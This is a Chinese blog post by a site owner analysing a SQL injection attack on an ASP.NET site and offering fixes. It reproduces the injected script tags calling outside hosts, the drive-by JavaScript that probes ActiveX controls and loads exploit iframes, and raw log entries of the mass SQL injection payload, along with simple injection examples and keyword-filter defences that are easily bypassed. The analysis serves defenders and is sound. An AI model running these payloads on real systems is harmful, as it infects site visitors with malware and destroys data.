zoukankan      html  css  js  c++  java
  • 最近好多网站都受到SQL注入与解决方案

    1.现象

    今天发现自己的网站被SQL注入了 :(
    首先,看到  页面包含了 <script src=http://s.see9.us/s.js></script>

    还有,页面有大量的类似如下的内容
    <script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr'      width=50    border=0>

    <script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr


    你可以用记事本打开http://a188.ws/1.js查看其内容,(不推荐用IE打开,因为那样病毒就直接会下载到你的电脑里,用记事本看看其代码就可以了)



    document.writeln("<base onmouseover=\"window.status=\'完毕                                                  \';return true\">");
    document.writeln("<SCRIPT language=javascript type=text\/javascript>");
    document.writeln("var cookieString = document.cookie;");
    document.writeln("var start = cookieString.indexOf(\"woshi0day=\");");
    document.writeln("if (start != -1)");
    document.writeln("{}");
    document.writeln("else");
    document.writeln("{");
    document.writeln("var expires = new Date();");
    document.writeln("expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);");
    document.writeln("document.cookie = \"woshi0day=0000;expires=\" + expires.toGMTString();");
    document.writeln("document.write(\"<iframe src=\/\/ii.jtren.net\/cc\/p139.htm?18 width=10 height=0><\/iframe>\");");
    document.writeln("}<\/SCRIPT>");
    document.writeln("<script language=\"javascript\" src=\"http:\/\/count49.51yes.com\/click.aspx?id=493330621&logo=1\"><\/script>");


    在上面代码里可以看到使用了iframe,iframe指向的地址为  http://jj.jtren.net/cc/p139.htm 用记事本打开看看内容吧

    <script language="javaScript">
     var cook = "silentwm";
     
     function setCookie(name, value, expire)
     {  
      window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
     }

     function getCookie(Name)
     {  
      var search = Name + "=";
      if (window.document.cookie.length > 0)
      {
       offset = window.document.cookie.indexOf(search);
       if (offset != -1)
       {
        offset += search.length;      
         end = window.document.cookie.indexOf(";", offset)      
         if (end == -1)
           end = window.document.cookie.length;
         return unescape(window.document.cookie.substring(offset, end));
        }
       }
       return null;
     }

     function register(name)
     {
      var today = new Date();
      var expires = new Date();
      expires.setTime(today.getTime() + 1000*60*60*24);
      setCookie(cook, name, expires);
     }

     function openWM()
     {
      var c = getCookie(cook);
      if (c != null)
      {
        return;
      }
      
      register(cook);
      
      window.defaultStatus="完成";
       
      try{ var e;
       var ado=(document.createElement("object"));
       ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
       var as=ado.createobject("Adodb.Stream","")}
      catch(e){};
      finally{
       if(e!="[object Error]"){
        document.write("<iframe width=50 height=0 src=http://ii.jtren.net/14.htm></iframe>")}
       else
       { 
        try{ var j;
         var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}
        catch(j){};
        finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
                                            {document.write('<iframe width=100 height=0 src=http://ii.jtren.net/real.htm></iframe>')}
                             else
                             {
         document.write('<iframe width=100 height=0 src=http://ii.jtren.net/real11.htm></iframe>')}}}

        try{ var g;
         var glworld=new ActiveXObject("GLAVATAR.GLAvatarCtrl.1");}
        catch(g){};
        finally{if(g!="[object Error]"){
         document.write('<iframe style=display:none src=http://ii.jtren.net/lz.htm></iframe>')}}

        try{ var h;
         var storm=new ActiveXObject("MPS.StormPlayer.1");}
        catch(h){};
        finally{if(h!="[object Error]"){
         document.write('<iframe style=display:none src=http://ii.jtren.net/bfyy.htm></iframe>')}}

        try{ var f;
         var thunder=new ActiveXObject("DPClient.Vod");}
        catch(f){};
        finally{ if(f!="[object Error]"){
         document.write('<iframe width=50 height=0 src=xl.htm></iframe>')}}

       }}
     }

    openWM();
    </script>
    <script language="javascript" type="text/javascript" src="http://js.users.51.la/1862269.js"></script>
    通过代码可以看到,这里使用了这是一个RealPlayer(IERPCtl.IERPCtl.1)漏洞,属于蠕虫病毒变异种  目前有Worm.Win32.Otwycal.a  Worm.Win32.Otwycal.b  Worm.Win32.Otwycal.c 3类变种
    一但感染了这个病毒,电脑里面所有扩展名为*.EXE的所以程序都会被这个病毒破坏,中毒现象:运行程序提示程序错误


    2.原因

     上面说的是用户打开你的网站时,你的电脑可能中毒病毒,相信很多站长自己是不愿意放病毒代码的,出现这个原因是网站漏洞,具体的说是该病毒攻击者利用SQL技术,进行注入,下面是SQL注入的简单介绍
    下面是一个典型的aspx页面显示的信息
    http://www.19cn.com/showdetail.asp?id=49

    但是攻击者可以进行注入,事实上上面代码很容易猜测出你的页面执行的SQL语句,例如可能为
    string id=Request.QueryString["id"];
    string sql="select * from table where id="+id;

    但是上面的代码及其脆弱,例如访问者把你的地址改成
    http://www.19cn.com/showdetail.asp?id=49 and 1=1
    页面执行正常。

    http://www.19cn.com/showdetail.asp?id=49 and 1=2
    则页面执行错误,如果你的网站显示错误信息,攻击者很容易看到错误原因。

    更为严重的是,攻击者可以编写更多了SQL语句,例如
    http://www.19cn.com/showdetail.asp?id=49 ;delete from table
    那么你代码里最终拼凑的SQL为
    string sql="select * from table where id=49 ;delete from table
    在SQL里分号是语句指向的结束,上面的SQL语句将直接删除table里的所有数据。

    解决方法
    我们建议你使用存储过程,因为存储过程会进行类别判断,例如上面代码写成存储过程是,类似如下
    SqlParameter p=new SqlParameter("id",Int32);
    在这里,当用户再次输入
    http://www.19cn.com/showdetail.asp?id=49 ;delete from table

    网址时,由于系统将对代码进行转换(即吧id为 49;delete from table)转化为int类型,此时转换失败,所以可以防止别人攻击,而且不影响访问。
    对于整形,你也可以使用如下简单代码
    try
    {
    int.Parse(Request.QueryString["id"]);
    }
    catch
    {
    Response.End();

    }
    在这里,当检查id值非法时,直接中止页面运行也是可以很好解决的。



    上面介绍的是对int类型的解决,相对于int类型,字符串要复杂的很多,例如在搜索时,可能的URL为
    http://www.19cn.com/search.aspx?key=asp.net
    那么你的sql语句可能为
    string key=Request.QueryString["key"];
    string sql="select * from table where keyword like '"+key+"'";
    在这里如果攻击你的URL为
    http://www.19cn.com/search.aspx?key=asp.net' ; delete from table--
    那么构造出来的SQL语句就为
    select * from table where keywork like 'asp.net'; delete from table --'
    请注意,--的作用,它会让最后的'字符失效,所有上面代码仍然会删除你的数据
    这里常用的解决方法大字有如下几个:
    1)过滤SQL常用的语句,例如
    string key=Request.QueryString["key"];
    key=key.Lower();
    key=key.Replace("select","");
    key=key.Replace("update","");
    key=key.Replace("delete","");
    这样把select/update/delete等命令过滤掉,另外需要注意这个代码
    key=key.Lower();

    也就是把请求的代码都转换为小写,因为攻击者可能故意把select 写成 SeleCT等,那样可能过滤不掉

    2)过滤 “’, --”符号等
    3)使用存储过程,这样即使SQL包含注入,到存储过程里也失效,这也是为什么建议大家使用存储过曾的原因 

    下面是你网站收到公交时,攻击者的访问代码


    http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

    http://www.19cn.com/showdetail.aspx?id=19%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1 218.3.207.119 - 500 0 209 281

    http://www.19cn.com/showdetail.aspx?id=19%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 218.3.207.119 - 500 0 216 281
    你可以反编码就可以知道攻击者是如何攻击你的,例如 上面的 20%代表空格等

  • 相关阅读:
    gdb调试
    大数据计算新贵Spark在腾讯雅虎优酷成功应用解析
    推荐系统resys小组线下活动见闻2009-08-22
    从item-base到svd再到rbm,多种Collaborative Filtering(协同过滤算法)从原理到实现
    Nexus设备升级5.0方法
    小议C#错误调试和异常处理
    BMP的图像处理
    一行代码让圆角风雨无阻,告别离屏渲染性能损耗
    推断数组中的反复元素
    HTML5:表格
  • 原文地址:https://www.cnblogs.com/mqingqing123/p/1191052.html
Copyright © 2011-2022 走看看